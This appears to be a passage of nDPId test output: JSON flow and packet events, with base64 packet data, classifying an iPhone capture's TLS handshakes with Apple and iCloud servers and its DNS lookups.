ZyCKM2r3DYLP3uujL\/lTaltkwGMzd\/c6ByxW69oPIQ7aunMZT7XZNn\/Bh1XZp5m5MkL72NVxnn6hUrcbvZNCJBIqxw8dtk2cXmPIS4AXUKqK1drk\/NAJBzewdXUhFgMDAU0MAAFJAwAXQQSY9aaZgqV3Ao8juLIcLj4gtM5U3s2R3yVtlfmcQVmaoNeCpnMnbWgazbijvv8uga9\/asVCtVbTWhDYyztsY2X5BgEBAB7DbuX0uVlePD0cwlB2V7ola4+vm18g1\/rihkcXGmun2h0iAqxSioPpw6QDVZDWAdaMv+ar6DDdnhMPc6wJUWI2T5cUGYiO1MA1ukOFB4lljTIcaMOuGUbVZ4btDdvb2Yf85Zuw2\/0wnoKoI8xpPvfIDEaj3putoppgk3J49T0jXCmj6GvgX2KyNcWtRWi2CoZItxdxl8L90ZYGjCd976dbvu7xJ7uhirRoo70bWSsuwTNvOZHXj56tWeDzkuz9mpsV878j8RV3RX3VJnwt0+KV\/za1Z\/vzw2XJJ8apWI9MsHvQOYxQySKeKuDHsrl0+0UNIf6XxZ0u1TixcMznQakWAwMABA4AAAA="} +01110{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":327,"source":"iphone.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":8,"flow_first_seen":1582454599396,"flow_last_seen":1582454599794,"flow_tot_l4_data_len":4584,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":573,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.137.166.35","src_port":50585,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gsa.apple.com","server_names":"gsas.apple.com,gsa.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"c4b2785a87896e19d37eee932070cb22","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"CN=Apple Server Authentication CA, OU=Certification Authority, O=Apple Inc., C=US","issuerDN":"CN=gsa.apple.com, O=Apple Inc., ST=California, C=US","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"D4:EF:5E:AD:7F:D5:13:5B:9F:B2:B9:84:19:75:BB:ED:53:FB:18:D6"}} +00424{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":810214,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA03G4AAC0GLFkR+LBLwKgCEQG7xZq3FAeLAs1IyYAQA6u24QAAAQEIClsTDB0R3+yY"} +02358{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":811781,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXU3G8AAC0GJrYR+LBLwKgCEQG7xZq3FAeLAs1IyYAQA6vJSQAAAQEIClsTDB8R3+yYFgMDAGgCAABkAwPmeFGGnHgpP7l40Luq0\/4whPVBtZayXTPFxEUIIh8i9yBKruAHr1YWU9gHVpqeNK8Q\/3k8GBHQ+ecvxSY7m6rekcAsAAAcAAAAAP8BAAEAAAUAAAALAAIBAAAQAAUAAwJoMhYDAww4CwAMNAAMMQAH5zCCB+MwggbLoAMCAQICECDrGNnhMGOJ5gckndI1GuowDQYJKoZIhvcNAQELBQAwYjEcMBoGA1UEAxMTQXBwbGUgSVNUIENBIDIgLSBHMTEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxEzARBgNVBAoTCkFwcGxlIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE5MTAwODE4NDYxNFoXDTIwMTEwNjE4NTYwMFowVDEbMBkGA1UEAwwSZ2F0ZXdheS5pY2xvdWQuY29tMRMwEQYDVQQKDApBcHBsZSBJbmMuMRMwEQYDVQQIDApDYWxpZm9ybmlhMQswCQYDVQQGEwJVUzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABA3JTXZEMDNfkBeddGFOfWVcUMoJ8W7d3ST3e3HiTTWw27hpoGkazdY\/uyqetayMkeP9ioDxEA8PxI4fVx9gMvajggVsMIIFaDAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFNh6lER8kHCQFp7dF5wBRAOG1iopMH4GCCsGAQUFBwEBBHIwcDA0BggrBgEFBQcwAoYoaHR0cDovL2NlcnRzLmFwcGxlLmNvbS9hcHBsZWlzdGNhMmcxLmRlcjA4BggrBgEFBQcwAYYsaHR0cDovL29jc3AuYXBwbGUuY29tL29jc3AwMy1hcHBsZWlzdGNhMmcxMjUwgY0GA1UdEQSBhTCBgoIYZ2F0ZXdheS1pbmRpYS5pY2xvdWQuY29tghhnYXRld2F5LWNhcnJ5LmljbG91ZC5jb22CEmdhdGV3YXkuaWNsb3VkLmNvbYIcZ2F0ZXdheS1hdXN0cmFsaWEuaWNsb3VkLmNvbYIaZ2F0ZXdheS1zYW5kYm94LmljbG91ZC5jb20wgf8GA1UdIASB9zCB9DCB8QYKKoZIhvdjZAULBDCB4jCBpAYIKwYBBQUHAgIwgZcMgZRSZWxpYW5jZSBvbiB0aGlzIGNlcnRpZmljYXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgYW55IGFwcGxpY2FibGUgdGVybXMgYW5kIGNvbmRpdGlvbnMgb2YgdXNlIGFuZC9vciBjZXJ0aWZpY2F0aW9uIHByYWN0aWNlIHN0YXRlbWVudHMuMDkGCCsGAQUFBwIBFi1odHRwOi8vd3d3LmFwcGxlLmNvbS9jZXJ0aWZpY2F0ZWF1dGhvcml0eS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwNwYDVR0fBDAwLjAsoCqgKIYmaHR0cDovL2NybC5hcHBsZS5jb20vYXBwbGVpc3RjYTJnMS5jcmwwHQYDVR0OBBYEFDcTKYxfoGNbyxqPKQFc6\/l8HBeZMA4GA1UdDwEB\/wQEAwIDiDARBgsqhkiG92NkBhsPAgQCBQAwEQYLKoZIhvdjZAYbCwIEAgUAMBEGCyqGSIb3Y2QGGwcCBAIFADCCAm0GCisGAQQB1nkCBAIEggJdBIICWQJXAHUAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFtrLqfoQAABAMARjBEAiBcyMXSqYu\/NQzPC1eks2fF3nNBwnRpvtSQ93jt9Y6FxAIgQAGZ6hMU0FVYk\/U5Nz\/IH+LWui0mpLb1ikJAbD2uT7kAdwCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAW2sup+hAAAEAwBI"} +00850{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":330,"source":"iphone.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":6,"flow_first_seen":1582454599740,"flow_last_seen":1582454599811,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50586,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02369{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":811904,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXU3HAAAC0GJrUR+LBLwKgCEQG7xZq3FA0rAs1IyYAQA6vpHQAAAQEIClsTDB8R3+yYMEYCIQDdbk0W3xLwRVSqExbk6WYwON+XhEgNjWS3c5gBslGuhAIhAOFAjfHHnYs0x+SaDx9TRoc6tbR7MkI8j7D8tL8bTA0\/AHcAsh4FzIuizYogTodm+Su5iiUgZ2va+nDnsklTLe+LkF4AAAFtrLqfqwAABAMASDBGAiEAgaJ1MrRM2AKsBkPp1QIT6PfODIXbQVBUCAUpo+tzOrkCIQDddAHm4u\/Gn8li8ESlxL1ZJK3FxqbrgV3vXWLNi8iiHwB1AFYUBpov18Ls0\/XhvUSyPsdGdrm8mRFcwO+UmFXWidDdAAABbay6n6EAAAQDAEYwRAIgGHM1p6WBqV+vtqr6hd70KQdFzAWv+ozcuVTGuJp7dk4CIByS3BkfgbrlBXSSNJB0YU2uhFS8HFnPom3vv22lArFYAHUAb1N2rDHwMRnYmQCkURX\/dxUcEdkCwQApBo2yCJo32RMAAAFtrLqfywAABAMARjBEAiBaHWEaQOG2Acj23NJ5zQC63rSKppu35b4qfkAJ8X7kbgIgeEjIujG17P30x0NsVWfo0XlmL6r4EoA536jETLtvxuAwDQYJKoZIhvcNAQELBQADggEBAKGriMkz6sCwrnomv6YJ4jjwMaMNouZTjEijYKaSAYs2pIOE9O+xy3VQrni7VsR+gMkO6ivj8K8d+2za\/y+I2RQZ2TUQ6wWGorFDOoGqBZXtBV6gbGs9KDNThqQv865ePsXG2JT+biTm88weJMm7MYXFPMu6C9JosK0yxl3MDsDk45W8A+EciCdcIiZwl5J8dSnSGGYo5UMSF3qI3eSNp3NkNcxYPZnj4isyXRHrBHr1ekVVCMPF2Jox+AmwwfJRq0tdVhmqUS\/9z0Yc6KqLMm50HEB4+utGT9gDG45BW1xwuucQVqNjb4bcrs8WPZf4X7CL94S2\/\/ZbmTwQh3s0iuoABEQwggRAMIIDKKADAgECAgMCOnQwDQYJKoZIhvcNAQELBQAwQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTAeFw0xNDA2MTYxNTQyMDJaFw0yMjA1MjAxNTQyMDJaMGIxHDAaBgNVBAMTE0FwcGxlIElTVCBDQSAyIC0gRzExIDAeBgNVBAsTF0NlcnRpZmljYXRpb24gQXV0aG9yaXR5MRMwEQYDVQQKEwpBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANCToR1HQyAWsgtr68PVtOjHmM3z3r\/oTenjNoAH\/EUbanxFhq5W06QJf2ENa11+Umt9tMg5xPRnOveDzhlvhi9+RX5HHGdSypUFXeI2UYXA1GeANW8V3T79HdL9jzRQ2Ox2Kr7j09rk\/cjrKAKWEZcXYRzpxFk7Qtwy0Qkd2qbRQ4b\/XrK8jM9m2wGLAq6USPM4j\/3qMqgI7IaXUZQkPklJllPoeaFAgekFu5OVUfzj\/XwRS\/eeCLMVSRUH+dE3oJtLMva1xNxq0fwK7fbgxSmgqItx\/g2SvP5UcBgKbcftDPvJLQbDjIX8y4Zc1jaOEosJf\/sZGjjV8JQweg+mjPMCAwEAAaOCAR0wggEZMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBTYepREfJBwkBae3RecAUQDhtYqKTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5z"} +02367{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":814156,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXU3HEAAC0GJrQR+LBLwKgCEQG7xZq3FBLLAs1IyYAQA6sMzwAAAQEIClsTDCER3+yYeW1jZC5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwDQYJKoZIhvcNAQELBQADggEBABZHc2+FomLh5yp2u4mVQiaXvEqsrHBTOj8xgz08HKua4rFdHHYaoDwMcle+055Q4MiZ1ljXAurODSlUfM31wsaQKVWjbxSoC0INOphtBnie8GqjHQIKoiikjcKBRj5tZ9reP\/6FDkIqEt61t\/u4G6eW7Hef7NRTlXr\/B\/TyChTAUVKx1o5QCxqZXLwLyb3t7fhewVbbTX4jpBGhLNQbBZrkG1L2fDiZBUu6co1CiWAEZir0\/WjXa\/eZQSjWbCSr5iVTLsiCmeKijyO+MIOxJ4v6aH8BSejGmGsQLpheitfKS7HHyVia0DbblpXstoHk8s1vG3mHTBA8ieRN+lTcqqYWAwMFshYABa4BAAWqMIIFpgoBAKCCBZ8wggWbBgkrBgEFBQcwAQEEggWMMIIFiDCBoqIWBBRtmHWQn\/fqeBctjWd4mUcrWqqVwBgPMjAyMDAyMjMwMzQ0NDBaMHcwdTBJMAkGBSsOAwIaBQAEFCaEh7OMUBUpl9vU0X43\/z8u8xVoBBTYepREfJBwkBae3RecAUQDhtYqKQIQIOsY2eEwY4nmBySd0jUa6oAAGA8yMDIwMDIyMzAzNDQ0MFqgERgPMjAyMDAyMjMxNTQ0NDBaoQIwADANBgkqhkiG9w0BAQsFAAOCAQEAlz8kzwTNL4DreEokBuMsetKeh0dcofwzjM0d0OSiAy8HKR+etg0hwzjzkMoTWISwWgTi3B1sJGKSMZ19FUMgTZn4yIjxNdwrQNB4cE2DziZgsFITf77+13g64KVP2NaAc+T5V+bRcZJ03et+gkWWJJD3LiVlmJBNfdVp6tiuDAI0Ngsr7cQQ+0qp3EqrUku9Stxo4ldKmdcjeB\/B\/CQsoSSpQbHc7BFb2B5\/0IDczO68caVYUfrelBs9H77nfwtnFA3W+PQ8DlaNrLp+7dLN4WG2ImcEF29Tara8CKkJ0SunfNbHfcwQVfoqYwWu6e+ic24+sVNhYwm7Ezq+\/lDklaCCA8swggPHMIIDwzCCAqugAwIBAgIQQOU9e0o0X00kwGvYo3rGmTANBgkqhkiG9w0BAQsFADBiMRwwGgYDVQQDExNBcHBsZSBJU1QgQ0EgMiAtIEcxMSAwHgYDVQQLExdDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTETMBEGA1UEChMKQXBwbGUgSW5jLjELMAkGA1UEBhMCVVMwHhcNMjAwMjE5MTYyMTQyWhcNMjAwNDAxMTYyMTQyWjBPMSswKQYDVQQDDCJBcHBsZSBJU1QgQ0EgMiBPQ1NQIFJlc3BvbmRlciBSTDA0MRMwEQYDVQQKDApBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJrC64q6envcCtPKJaAaN4gVTLL0EuZUae9A15l28SjzyHp9U4w5buheyZLZT07XBTvH7vEDQnd8C8sUH\/2EnRwJt5yvAFlAEMx\/uhUizW82DYxuJHOfZdZKclTioPSXZnprOzxrOMshIah\/sjVpDoV2Hk7r0EmCnqStVOjixuPjuzxoTXsJqjPDnqRdVJa1vrg13NnmCHnku7+2sZvcK5UHb9d\/ft03IKYTpKniEEolsv1w3eeCBJBMgSqufUY4nWVfilwKJ5d1HJ\/E62apvXPRhP78ezj7odSWvKPwQ1S8n1deOxKuubQET9d53MjOA5zqmPB+gYsOnXEAunura2kCAwEAAaOBhzCBhDAMBgNVHRMBAf8EAjAAMB8GA1UdIwQY"} +01222{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":332,"source":"iphone.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":8,"flow_first_seen":1582454599740,"flow_last_seen":1582454599814,"flow_tot_l4_data_len":5113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":639,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50586,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","server_names":"gateway-india.icloud.com,gateway-carry.icloud.com,gateway.icloud.com,gateway-australia.icloud.com,gateway-sandbox.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=Apple IST CA 2 - G1, OU=Certification Authority, O=Apple Inc., C=US","issuerDN":"CN=gateway.icloud.com, O=Apple Inc., ST=California, C=US","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"D2:DA:1C:68:0C:91:A7:DB:BA:B2:2D:29:06:DB:57:42:10:3D:3A:FE"}} +01123{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":814177,"pkt_caplen":581,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":581,"pkt_l4_len":547,"pkt":"xGGLNYKpxiwDYGpkCABFAgI33HIAAC0GKlAR+LBLwKgCEQG7xZq3FBhrAs1IyYAYA6vLUQAAAQEIClsTDCER3+yYMBaAFNh6lER8kHCQFp7dF5wBRAOG1iopMA8GCSsGAQUFBzABBQQCBQAwEwYDVR0lBAwwCgYIKwYBBQUHAwkwHQYDVR0OBBYEFG2YdZCf9+p4Fy2NZ3iZRytaqpXAMA4GA1UdDwEB\/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOCAQEAfWaHB3F71r+HUtEusztLw2H0a2YFnXxa1uzWlcknyHvXas70SkE3K1rNPNgydDWa15RJBtUYT9r\/jIYn136onLWnxukPVi8TUKI4CMEwguhpMLrEtIqL4C6BZ+4lBK6xUCuEUeduttOE7gOxhx0n\/QSTvQ9LuNig3jwWEtIC23HoB15mX4gwBZ8tfi9UB7jVmgUgPLlnIxTRdUl1q5\/zCHckXOsWhUg5FYsKlZCVH6\/tIbdNREqUECgGFWyk\/VyvbJtuxaOAbpOC6ieEYIcwhwciiyJrTnUR2rnOOH8r2riaIi0MEZYnjSjV+7lmoMy2Lru4hbwEXuuXlBYgInvKvBYDAwB0DAAAcAMAHSD+x+VytcmV7WNXgbXmLp9haS4GjZxzboO9XW5nXMTLcQQDAEgwRgIhAPvT3IV9AjdpNGefDbSgPSo4QhMddgpu31WPcQgBdC\/cAiEA4VcIve2LvffT8aMppvIxhDUmtFZvpbOwuJdoe\/LlSHgWAwMABA4AAAA="} +00426{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":910901,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WaAbsCzUjJtxQSy4AQA\/Sq0AAAAQEIChHf7R5bEwwf"} +00426{"flow_id":49,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":911303,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WaAbsCzUjJtxQaboAQA\/CjLwAAAQEIChHf7R5bEwwh"} +00426{"flow_id":48,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":925892,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGwF7AqAIREYmmI8WZAbu9h+C3\/4UncIAQA\/RoaQAAAQEIChHf7VbKEDop"} +00427{"flow_id":48,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":925949,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGwF7AqAIREYmmI8WZAbu9h+C3\/4Uq\/4AQA+1k4QAAAQEIChHf7VbKEDop"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":338,"source":"iphone.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1582454599929,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":65079,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":929249,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"xiwDYGpkxGGLNYKpCABFAABDumIAAP8Re+TAqAIRwKgCAf43ADUALyJV0zQBAAABAAAAAAAABHBsYXkGaXR1bmVzBWFwcGxlA2NvbQAAAQAB"} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":338,"source":"iphone.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1582454599929,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":65079,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"play.itunes.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00664{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":930239,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"xGGLNYKpxiwDYGpkCABFAADjtQsAAEARP5zAqAIBwKgCEQA1\/jcAz3eX0zSBgAABAAUAAAAABHBsYXkGaXR1bmVzBWFwcGxlA2NvbQAAAQABwAwABQABAAAMOwAmCHBsYXktY2RuDGl0dW5lcy1hcHBsZQNjb20GYWthZG5zA25ldADAMwAFAAEAAAOmACIEcGxheQZpdHVuZXMFYXBwbGUDY29tCWVkZ2VzdWl0ZcBUwGUABQABAAAAXgAUBWExODA2BGRzY2IGYWthbWFpwFTAkwABAAEAAAAOAARce00awJMAAQABAAAADgAEXHtNQA=="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":340,"source":"iphone.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":2,"flow_first_seen":1582454599929,"flow_last_seen":1582454599930,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":47,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":65079,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"play.itunes.apple.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"92.123.77.26"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":343,"source":"iphone.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1582454599934,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"92.123.77.26","src_port":50587,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":934729,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGzmnAqAIRXHtNGsWbAbupO4D5AAAAALDC\/\/\/ZMQAAAgQFtAEDAwcBAQgKEd\/tTwAAAAAEAgAA"} +00552{"flow_id":49,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":939978,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkxGGLNYKpCABFAgCRAABAAEAGtWjAqAIREfiwS8WaAbsCzUjJtxQaboAYBADmiAAAAQEIChHf7TtbEwwhFgMDACUQAAAhIDKkQIEWZAlx88rOX5tT1olybnRVZCCFh2Ych8RieAgkFAMDAAEBFgMDACgAAAAAAAAAADOXRaCOmlNQDoZtFXOkJKDr47Af0t1lcWwFJ7SeDnj2"} +00437{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":967985,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADUGGW5ce00awKgCEQG7xZtUZWomqTuA+qBScSDQrwAAAgQFrAQCCAozMbcgEd\/tTwEDAwc="} +00496{"flow_id":49,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":973712,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAgBn3HMAAC0GLB8R+LBLwKgCEQG7xZq3FBpuAs1JJoAYA6v\/UgAAAQEIClsTDMER3+07FAMDAAEBFgMDACgAAAAAAAAAADE2avL7P0pc78ZIY1bGS0FIS5gBV3fQT3oYnSyr4D4Z"} +00521{"flow_id":49,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":973745,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAgB53HQAAC0GLAwR+LBLwKgCEQG7xZq3FBqhAs1JJoAYA6t1tgAAAQEIClsTDMER3+07FwMDAEAAAAAAAAAAASYx+h\/qLsTbOQlgH9YgSCutXJdRozXVc7bSZzNKXSSAd0yCTsFYntls75nAImoAahsOz3gPUtKa"} 